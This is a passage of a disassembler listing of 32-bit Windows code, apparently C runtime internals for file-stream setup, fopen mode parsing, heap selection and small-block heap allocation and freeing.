cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_4187D2
mov eax, edi
loc_4187D2: ; CODE XREF: sub_418769+65j
pop edi
pop esi
pop ebx
retn
sub_418769 endp
; =============== S U B R O U T I N E =======================================
sub_4187D6 proc near ; CODE XREF: sub_4159B6+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41D94C
test eax, eax
pop ecx
jz short loc_41885F
cmp esi, offset dword_43A658
jnz short loc_4187F4
xor eax, eax
jmp short loc_4187FF
; ---------------------------------------------------------------------------
loc_4187F4: ; CODE XREF: sub_4187D6+18j
cmp esi, offset dword_43A678
jnz short loc_41885F
push 1
pop eax
loc_4187FF: ; CODE XREF: sub_4187D6+1Cj
inc dword_46B7F8
test word ptr [esi+0Ch], 10Ch
jnz short loc_41885F
cmp dword_46B68C[eax*4], 0
push ebx
push edi
lea edi, ds:46B68Ch[eax*4]
mov ebx, 1000h
jnz short loc_418845
push ebx
call sub_415BE9
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_418845
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_418852
; ---------------------------------------------------------------------------
loc_418845: ; CODE XREF: sub_4187D6+4Dj
; sub_4187D6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_418852: ; CODE XREF: sub_4187D6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41885F: ; CODE XREF: sub_4187D6+10j
; sub_4187D6+24j ...
xor eax, eax
pop esi
retn
sub_4187D6 endp
; =============== S U B R O U T I N E =======================================
sub_418863 proc near ; CODE XREF: sub_4159B6+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41888D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41889E
push esi
call sub_418704
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41888D: ; CODE XREF: sub_418863+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41889E
push eax
call sub_418704
pop ecx
loc_41889E: ; CODE XREF: sub_418863+10j
; sub_418863+32j
pop esi
retn
sub_418863 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A0 proc near ; CODE XREF: sub_4159E8+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_46B800
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_4188D9
cmp al, 72h
jz short loc_4188D2
cmp al, 77h
jnz loc_4189ED
mov ecx, 301h
jmp short loc_4188DE
; ---------------------------------------------------------------------------
loc_4188D2: ; CODE XREF: sub_4188A0+21j
xor ecx, ecx
or esi, 1
jmp short loc_4188E1
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_4188A0+1Dj
mov ecx, 109h
loc_4188DE: ; CODE XREF: sub_4188A0+30j
or esi, 2
loc_4188E1: ; CODE XREF: sub_4188A0+37j
push 1
pop edx
loc_4188E4: ; CODE XREF: sub_4188A0+8Bj
; sub_4188A0+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_4189D3
cmp edx, ebx
jz loc_4189D3
movsx eax, al
cmp eax, 54h
jg short loc_418972
jz short loc_418962
sub eax, 2Bh
jz short loc_41894C
sub eax, 19h
jz short loc_418942
sub eax, 0Eh
jz short loc_41892D
dec eax
jnz loc_4189C4
cmp [ebp+var_4], ebx
jnz loc_4189C4
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_41892D: ; CODE XREF: sub_4188A0+6Fj
cmp [ebp+var_4], ebx
jnz loc_4189C4
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_418942: ; CODE XREF: sub_4188A0+6Aj
test cl, 40h
jnz short loc_4189C4
or ecx, 40h
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_41894C: ; CODE XREF: sub_4188A0+65j
test cl, 2
jnz short loc_4189C4
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_418962: ; CODE XREF: sub_4188A0+60j
mov eax, 1000h
test ecx, eax
jnz short loc_4189C4
or ecx, eax
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_418972: ; CODE XREF: sub_4188A0+5Ej
sub eax, 62h
jz short loc_4189BF
dec eax
jz short loc_4189A8
sub eax, 0Bh
jz short loc_418991
sub eax, 6
jnz short loc_4189C4
test ch, 0C0h
jnz short loc_4189C4
or ch, 40h
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_418991: ; CODE XREF: sub_4188A0+DDj
cmp [ebp+var_8], ebx
jnz short loc_4189C4
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_4189A8: ; CODE XREF: sub_4188A0+D8j
cmp [ebp+var_8], ebx
jnz short loc_4189C4
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_4189BF: ; CODE XREF: sub_4188A0+D5j
test ch, 0C0h
jz short loc_4189CB
loc_4189C4: ; CODE XREF: sub_4188A0+72j
; sub_4188A0+7Bj ...
xor edx, edx
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_4189CB: ; CODE XREF: sub_4188A0+122j
or ch, 80h
jmp loc_4188E4
; ---------------------------------------------------------------------------
loc_4189D3: ; CODE XREF: sub_4188A0+4Aj
; sub_4188A0+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41DDF6
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_4189F1
loc_4189ED: ; CODE XREF: sub_4188A0+25j
xor eax, eax
jmp short loc_418A0B
; ---------------------------------------------------------------------------
loc_4189F1: ; CODE XREF: sub_4188A0+14Bj
mov eax, [ebp+arg_C]
inc dword_46B7F8
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_418A0B: ; CODE XREF: sub_4188A0+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_4188A0 endp
; =============== S U B R O U T I N E =======================================
sub_418A10 proc near ; CODE XREF: sub_4159E8p
mov edx, dword_46C940
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_418A81
mov ebx, dword_46B928
mov edi, ebx
loc_418A2C: ; CODE XREF: sub_418A10+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_418A47
test byte ptr [ecx+0Ch], 83h
jz short loc_418A42
inc eax
add edi, 4
cmp eax, edx
jl short loc_418A2C
jmp short loc_418A81
; ---------------------------------------------------------------------------
loc_418A42: ; CODE XREF: sub_418A10+26j
mov esi, [ebx+eax*4]
jmp short loc_418A6B
; ---------------------------------------------------------------------------
loc_418A47: ; CODE XREF: sub_418A10+20j
mov edi, eax
push 20h
shl edi, 2
call sub_415BE9
pop ecx
mov ecx, dword_46B928
mov [edi+ecx], eax
mov eax, dword_46B928
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_418A81
mov esi, edi
loc_418A6B: ; CODE XREF: sub_418A10+35j
cmp esi, ebp
jz short loc_418A81
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_418A81: ; CODE XREF: sub_418A10+12j
; sub_418A10+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_418A10 endp
; =============== S U B R O U T I N E =======================================
sub_418A88 proc near ; CODE XREF: sub_415BFB+1Fp
; sub_41737F+126p ...
arg_0 = dword ptr 4
mov eax, dword_46B698
test eax, eax
jz short loc_418AA0
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_418AA0
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_418AA0: ; CODE XREF: sub_418A88+7j
; sub_418A88+12j
xor eax, eax
retn
sub_418A88 endp
; =============== S U B R O U T I N E =======================================
sub_418AA3 proc near ; CODE XREF: sub_418AD0+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_4210C8 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_418ACE
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_418ACE
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_418ACE: ; CODE XREF: sub_418AA3+15j
; sub_418AA3+1Cj
pop esi
retn
sub_418AA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AD0 proc near ; CODE XREF: sub_418C18+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_415B90
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_42110C ; GetVersionExA
test eax, eax
jz short loc_418B13
cmp [ebp+var_88], 2
jnz short loc_418B13
cmp [ebp+var_94], 5
jb short loc_418B13
push 1
pop eax
jmp loc_418C15
; ---------------------------------------------------------------------------
loc_418B13: ; CODE XREF: sub_418AD0+27j
; sub_418AD0+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_421170 ; GetEnvironmentVariableA
test eax, eax
jz loc_418C02
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_418B55
loc_418B42: ; CODE XREF: sub_418AD0+83j
mov al, [ecx]
cmp al, 61h
jl short loc_418B50
cmp al, 7Ah
jg short loc_418B50
sub al, 20h
mov [ecx], al
loc_418B50: ; CODE XREF: sub_418AD0+76j
; sub_418AD0+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_418B42
loc_418B55: ; CODE XREF: sub_418AD0+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_416D70
add esp, 0Ch
test eax, eax
jnz short loc_418B77
lea eax, [ebp+var_122C]
jmp short loc_418BC0
; ---------------------------------------------------------------------------
loc_418B77: ; CODE XREF: sub_418AD0+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_42107C ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_418BAB
loc_418B98: ; CODE XREF: sub_418AD0+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_418BA6
cmp al, 7Ah
jg short loc_418BA6
sub al, 20h
mov [ecx], al
loc_418BA6: ; CODE XREF: sub_418AD0+CCj
; sub_418AD0+D0j
inc ecx
cmp [ecx], bl
jnz short loc_418B98
loc_418BAB: ; CODE XREF: sub_418AD0+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_4158E0
pop ecx
pop ecx
loc_418BC0: ; CODE XREF: sub_418AD0+A5j
cmp eax, ebx
jz short loc_418C02
push 2Ch
push eax
call sub_416F20
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418C02
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_418BE7
loc_418BD9: ; CODE XREF: sub_418AD0+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_418BE2
mov [ecx], bl
jmp short loc_418BE3
; ---------------------------------------------------------------------------
loc_418BE2: ; CODE XREF: sub_418AD0+10Cj
inc ecx
loc_418BE3: ; CODE XREF: sub_418AD0+110j
cmp [ecx], bl
jnz short loc_418BD9
loc_418BE7: ; CODE XREF: sub_418AD0+107j
push 0Ah
push ebx
push eax
call sub_416711
add esp, 0Ch
cmp eax, 2
jz short loc_418C15
cmp eax, 3
jz short loc_418C15
cmp eax, 1
jz short loc_418C15
loc_418C02: ; CODE XREF: sub_418AD0+5Cj
; sub_418AD0+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_418AA3
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_418C15: ; CODE XREF: sub_418AD0+3Ej
; sub_418AD0+126j ...
pop ebx
leave
retn
sub_418AD0 endp
; =============== S U B R O U T I N E =======================================
sub_418C18 proc near ; CODE XREF: seg001:00417B72p
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_421178 ; HeapCreate
test eax, eax
mov dword_46CCA4, eax
jz short loc_418C6E
call sub_418AD0
cmp eax, 3
mov dword_46CCA8, eax
jnz short loc_418C54
push 3F8h
call sub_418C75
pop ecx
jmp short loc_418C5E
; ---------------------------------------------------------------------------
loc_418C54: ; CODE XREF: sub_418C18+2Dj
cmp eax, 2
jnz short loc_418C71
call sub_4197BC
loc_418C5E: ; CODE XREF: sub_418C18+3Aj
test eax, eax
jnz short loc_418C71
push dword_46CCA4
call dword_421174 ; HeapDestroy
loc_418C6E: ; CODE XREF: sub_418C18+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418C71: ; CODE XREF: sub_418C18+3Fj
; sub_418C18+48j
push 1
pop eax
retn
sub_418C18 endp
; =============== S U B R O U T I N E =======================================
sub_418C75 proc near ; CODE XREF: sub_418C18+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_46CCA4
call dword_42114C ; RtlAllocateHeap
test eax, eax
mov dword_46CC9C, eax
jnz short loc_418C92
retn
; ---------------------------------------------------------------------------
loc_418C92: ; CODE XREF: sub_418C75+1Aj
mov ecx, [esp+arg_0]
and dword_46CC94, 0
and dword_46CC98, 0
push 1
mov dword_46CC90, eax
mov dword_46CCA0, ecx
mov dword_46CC88, 10h
pop eax
retn
sub_418C75 endp
; =============== S U B R O U T I N E =======================================
sub_418CBD proc near ; CODE XREF: sub_415C9B+17p
; sub_41737F+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_46CC98
lea ecx, [eax+eax*4]
mov eax, dword_46CC9C
lea ecx, [eax+ecx*4]
loc_418CCD: ; CODE XREF: sub_418CBD+26j
cmp eax, ecx
jnb short loc_418CE5
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_418CE7
add eax, 14h
jmp short loc_418CCD
; ---------------------------------------------------------------------------
loc_418CE5: ; CODE XREF: sub_418CBD+12j
xor eax, eax
locret_418CE7: ; CODE XREF: sub_418CBD+21j
retn
sub_418CBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418CE8 proc near ; CODE XREF: sub_415C9B+23p
; sub_41737F+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41900C
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_418DBE
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_418D4C
push 3Fh
pop edx
loc_418D4C: ; CODE XREF: sub_418CE8+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_418DA0
cmp edx, 20h
jnb short loc_418D77
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_418D98
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_418D98
; ---------------------------------------------------------------------------
loc_418D77: ; CODE XREF: sub_418CE8+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_418D98
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_418D98: ; CODE XREF: sub_418CE8+86j
; sub_418CE8+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_418DA3
; ---------------------------------------------------------------------------
loc_418DA0: ; CODE XREF: sub_418CE8+6Aj
mov ecx, [ebp+var_4]
loc_418DA3: ; CODE XREF: sub_418CE8+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_418DBE: ; CODE XREF: sub_418CE8+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_418DCC
push 3Fh
pop edx
loc_418DCC: ; CODE XREF: sub_418CE8+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_418E6F
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_418DF1
mov ebx, esi
loc_418DF1: ; CODE XREF: sub_418CE8+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_418E03
mov edx, esi
loc_418E03: ; CODE XREF: sub_418CE8+117j
cmp ebx, edx
jz short loc_418E6A
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_418E52
cmp ebx, 20h
jnb short loc_418E33
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_418E52
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_418E52
; ---------------------------------------------------------------------------
loc_418E33: ; CODE XREF: sub_418CE8+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_418E52
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_418E52: ; CODE XREF: sub_418CE8+128j
; sub_418CE8+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_418E6A: ; CODE XREF: sub_418CE8+11Dj
mov esi, [ebp+arg_4]
jmp short loc_418E72
; ---------------------------------------------------------------------------
loc_418E6F: ; CODE XREF: sub_418CE8+EDj
mov ebx, [ebp+arg_0]
loc_418E72: ; CODE XREF: sub_418CE8+185j
cmp [ebp+var_C], 0
jnz short loc_418E80
cmp ebx, edx
jz loc_418F01
loc_418E80: ; CODE XREF: sub_418CE8+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_418F01
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_418ED8
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418EC7
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_418EC7: ; CODE XREF: sub_418CE8+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_418F01
; ---------------------------------------------------------------------------
loc_418ED8: ; CODE XREF: sub_418CE8+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418EEE
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_418EEE: ; CODE XREF: sub_418CE8+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_418F01: ; CODE XREF: sub_418CE8+192j
; sub_418CE8+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41900C
mov eax, dword_46CC94
test eax, eax
jz loc_418FFE
mov ecx, dword_46CC8C
mov esi, dword_42117C
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_46CC8C
mov eax, dword_46CC94
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_46CC94
mov ecx, dword_46CC8C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_46CC94
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_46CC94
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_418F8F
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_46CC94
loc_418F8F: ; CODE XREF: sub_418CE8+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_418FFE
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_46CC94
push dword ptr [eax+10h]
push 0
push dword_46CCA4
call dword_421150 ; RtlFreeHeap
mov eax, dword_46CC98
mov edx, dword_46CC9C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_46CC94
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_416320
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_46CC98
cmp eax, dword_46CC94
jbe short loc_418FF4
sub [ebp+arg_0], 14h
loc_418FF4: ; CODE XREF: sub_418CE8+306j
mov eax, dword_46CC9C
mov dword_46CC90, eax
loc_418FFE: ; CODE XREF: sub_418CE8+234j
; sub_418CE8+2ABj
mov eax, [ebp+arg_0]
mov dword_46CC8C, edi
mov dword_46CC94, eax
loc_41900C: ; CODE XREF: sub_418CE8+38j
; sub_418CE8+227j
pop edi
pop esi
pop ebx
leave
retn
sub_418CE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419011 proc near ; CODE XREF: sub_415C27+18p
; sub_41737F+77p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_46CC98
mov edx, dword_46CC9C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_419051
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_419061
; ---------------------------------------------------------------------------
loc_419051: ; CODE XREF: sub_419011+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_419061: ; CODE XREF: sub_419011+3Ej
mov eax, dword_46CC90
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_419088
loc_41906F: ; CODE XREF: sub_419011+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_419088
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41906F
loc_419088: ; CODE XREF: sub_419011+5Cj
; sub_419011+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_419106
mov ebx, edx
loc_41908F: ; CODE XREF: sub_419011+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_4190AB
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_4190A9
add ebx, 14h
jmp short loc_41908F
; ---------------------------------------------------------------------------
loc_4190A9: ; CODE XREF: sub_419011+91j
cmp ebx, eax
loc_4190AB: ; CODE XREF: sub_419011+83j
jnz short loc_419106
loc_4190AD: ; CODE XREF: sub_419011+ADj
cmp ebx, [ebp+var_4]
jnb short loc_4190C3
cmp dword ptr [ebx+8], 0
jnz short loc_4190C0
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_4190AD
; ---------------------------------------------------------------------------
loc_4190C0: ; CODE XREF: sub_419011+A5j
cmp ebx, [ebp+var_4]
loc_4190C3: ; CODE XREF: sub_419011+9Fj
jnz short loc_4190EB
mov ebx, edx
loc_4190C7: ; CODE XREF: sub_419011+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_4190DB
cmp dword ptr [ebx+8], 0
jnz short loc_4190D9
add ebx, 14h
jmp short loc_4190C7
; ---------------------------------------------------------------------------
loc_4190D9: ; CODE XREF: sub_419011+C1j
cmp ebx, eax
loc_4190DB: ; CODE XREF: sub_419011+BBj
jnz short loc_4190EB
call sub_41931A
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_4190FF
loc_4190EB: ; CODE XREF: sub_419011:loc_4190C3j
; sub_419011:loc_4190DBj
push ebx
call sub_4193CB
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_419106
loc_4190FF: ; CODE XREF: sub_419011+D8j
xor eax, eax
jmp loc_419315
; ---------------------------------------------------------------------------
loc_419106: ; CODE XREF: sub_419011+7Aj
; sub_419011:loc_4190ABj ...
mov dword_46CC90, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41912D
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_419164
loc_41912D: ; CODE XREF: sub_419011+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_419161
loc_41914A: ; CODE XREF: sub_419011+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41914A
loc_419161: ; CODE XREF: sub_419011+137j
mov edx, [ebp+var_4]
loc_419164: ; CODE XREF: sub_419011+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41918D
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41918D: ; CODE XREF: sub_419011+16Dj
; sub_419011+183j
test ecx, ecx
jl short loc_419196
shl ecx, 1
inc edi
jmp short loc_41918D
; ---------------------------------------------------------------------------
loc_419196: ; CODE XREF: sub_419011+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_4191B3
push 3Fh
pop esi
loc_4191B3: ; CODE XREF: sub_419011+19Dj
cmp esi, edi
jz loc_4192C8
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_419224
cmp edi, 20h
jge short loc_4191F3
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_419221
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_419224
; ---------------------------------------------------------------------------
loc_4191F3: ; CODE XREF: sub_419011+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
